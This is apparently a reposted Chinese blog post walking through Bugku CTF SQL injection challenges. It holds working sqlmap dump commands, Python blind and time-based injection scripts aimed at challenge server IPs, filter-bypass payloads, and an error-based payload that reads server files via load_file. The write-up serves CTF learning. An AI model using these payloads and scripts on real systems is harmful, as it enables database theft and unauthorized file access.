bugku SQL注入题目合集

转载自:http://www.northity.com/2018/06/12/Bugku%E9%A2%98%E7%9B%AE%E9%9B%86%E9%94%A60x02/

SQL注入题目合集

这是一个神奇的登陆框

传送门
在用户名的后面加一个\可以看到报错,应该是能够报错注入或者联合查询之类的
但是最近学到了一些骚套路,先来看看sqlmap

sqlmap

直接burp抓包另存为一个txt
使用如下命令

1
2
3
4
sqlmap -r "new.txt" -p admin_name --dbs   //爆数据库,注入点为admin_name
sqlmap -r "new.txt" -D bugkusql1 -p admin_name --tables   //爆表
sqlmap -r "new.txt" -D bugkusql1 -T flag1 -p admin_name --columns   //爆字段
sqlmap -r "new.txt" -D bugkusql1 -T flag1 -C flag1 -p admin_name --dump   //爆数据

 

bugku SQL注入题目合集_第1张图片
不得不承认sqlmap真的强大

手动注入

开始猜想的可能是报错注入,后来发现竟然是有回显的
这题目就奇怪在用的是双引号”来进行分割
其它直接正常爆就行了

login1

传送门
原理见SQL约束攻击
注册一个admin               xx
则可以用它的密码登陆admin了,但是注意空格要足够多,达到截断的目的
比较新颖的一个题目
bugku SQL注入题目合集_第2张图片

longin3

传送门
布尔盲注,过滤等于时候的一个小trick,用<>,或者>加上^来进行注入
这里还有个小trick,我们并不需要查找到password的表,因为后台的逻辑可能是这样

1
select username from admin where usernam = ''

 

所以我们可以直接理由^和admin做异或,脚本如下,这里用的>绕过=

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
url = 'http://47.93.190.246:49167/index.php'
s = requests.Session()
result = ''
for i in range(1,33):
    for j in range(48,123):
        payload = "admin'^(ascii(mid((password)from(%d)))>%d)#" % (i, j)
        print(payload)
        data = {"username": payload, "password": "123"}
        r = s.post(url, data=data)
        r.encoding = 'utf-8'
        if r.text.find('error') != -1:
            result += chr(j)
            #print(result)
            break
print(result)

 

MD5查询一下,然后登陆admingetflag

sql注入

传送门
基础题目,宽字节注入
在网页源码中可以看到gb2312,猜想宽字节注入(实际上来fuzz的时候就直接测试了
没什么特别的,不做赘述了,算是一种常见姿势

sql注入1

传送门
可以看到进行了黑名单过滤,无非就是绕过了
大小写是不行的,发现可以00截断(我也不知道这么叫对不对,大概这么个意思吧
上个payload

1
id=-1%20uni%00on%20se%00lect%201,database()%20%23

 

然后常规做法就行了
发现bugku的这些题目大多只涉及一个知识点,算是基础题目

多次

传送门
看到ID,先fuzz一下
一个单引号报错,%23闭合以后正常
用异或这个套路进行过滤检测,有两种套路,一种是注释闭合,一种是两个单引号,两个^闭合

1
2
id=1%27^(0)%23
id=1%27^(0)^%27

 

当括号中的值为真时页面会报错,则可以构造测试语句
比如判断union是否被过滤

1
id=1%27^(length(%27union%27))%23

 

返回的是id=1的界面,代表length(‘union’)返回值为0,union已经被过滤了,select也被过滤了
然后可以双写绕过,有意思的是,flag并不对,想到题干说有两个flag,又翻了翻
找到下一个网站的Payload

1
http://120.24.86.145:9004/1ndex.php?id=-1%27 ununionion seselectlect 1,address from flag1%23

 


后半部分的入口
可以当作一个布尔注入用脚本跑,也可以用报错注入

bool注入

贴一个我写的很丑的脚本,不过效率还是蛮高的,二分查找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests

head = 'http://120.24.86.145:9004/Once_More.php?id='
payload = ''
index = ''
s = ''
for n in range(200):
    left = 32
    right = 127
    while left<=right:
        i = (left+right)//2
        payload = 'a\' or (ASCII(MID((SELECT flag2 FROM flag2), ' + str(n) + ', 1))) < ' + str(i) + ' %23'
        index = head + payload
        r = requests.get(index)
        r.encoding = 'utf-8'
        if r.text.find('Hello')!=-1:#小于返回1
            right = i-1
        else:
            payload = 'a\' or (ASCII(MID((SELECT flag2 FROM flag2), ' + str(n) + ', 1))) > ' + str(i) + ' %23'
            index = head +payload
            r = requests.get(index)
            r.encoding = 'utf-8'
            if r.text.find('Hello') != -1:  # 大于返回1
                left = i+1
            else: #相等
                s=s+chr(i)
                print(s)
                break

 

address字段有一个./Have_Fun.php,打开看看
二维码扫描后看到提示

还有后续注入,有点崩溃
http://120.24.86.145:9004/ErWeiMa.php?game=1
但是注入了半天没有结果。。最后把之前查到的flag{Bugku-sql_6s-2i-4t-bug}全部换为小写后提交又正确了
原因应该是LEFT,MID,RIGHT在比较的时候是不区分大小写的
但是不是很懂出题人留这个后续注入的意思,很迷,或许第二个flag是要把这个注入出来?有兴趣可以试试

报错注入

这里应该是可以报错注入的,可以尝试一下
这道题把我恶心到了,实在不想再倒回去研究报错注入了,等我期末考完有兴趣再贴上来

报错注入

传送门
过滤了空格,可以使用回车换行符还替代即%0a或%0d。
关于报错注入其实有很多东西,有一篇很好的文章
这里使用extractvalue()或者updatexml()进行报错,测试一条报错语句

?id=1%0aand%0aupdatexml(1,concat(0x7e,(select%0a@@version),0x7e),1)

成功报错,那之后就是读取文件了
load_file函数可以读取文件,但是一定要注意读取文件要进行hex编码,不然读不出来
又因为extractvalue()有长度限制,最长为32位,所以我们需要使用substr()对hex()过的文件内容进行分割

?id=1%0aand%0a(extractvalue(1,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870)),1,30))),0x7e)

反复更改substr的值就能读取整个文件了

INSERT INTO注入

传送门
直接给出了源码,简单的白盒代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

 

XFF可以注入,过滤了’,’
时间盲注,两个trick
逗号过滤的情况下可以使用

1
select case when xxx then xxx else xxx end

 

substr的逗号可以用如下姿势

from x for 1

最终可以构造如下payload,注意末尾多一个括号闭合之前的括号

127.0.0.1'+(select case when (substring((select flag from flag) from {0} for 1)='{1}') then sleep(5) else 1 end)) #

上一个最终的注入脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import string

mystring = string.ascii_letters+string.digits
url='http://120.24.86.145:8002/web15/'
data = "127.0.0.1'+(select case when (substring((select flag from flag) from {0} for 1)='{1}') then sleep(5) else 1 end)) #"
flag = ''

for i in range(1,35):
    for j in mystring:
        try:
            headers = {'x-forwarded-for':data.format(str(i),j)}
            res = requests.get(url,headers=headers,timeout=3)
        except requests.exceptions.ReadTimeout:
            flag += j
            print(flag)
            break

print(flag)

 

这里是用的一位dalao的脚本。。。
因为看了大佬的脚本才知道自己的写得是有多丑,就不把自己的放上来了
放上来供大家学习

上面算是sql注入题目的一个合集,从union联合查询,到三种盲注(bool盲注,时间盲注,报错注入)都有很好的例子
总得来说算是质量不错的题目,收获还是很多
所以后续更新个Mysql注入总结吧(flag++
等我考完期末,毕业要紧毕业要紧

你可能感兴趣的:(ctf)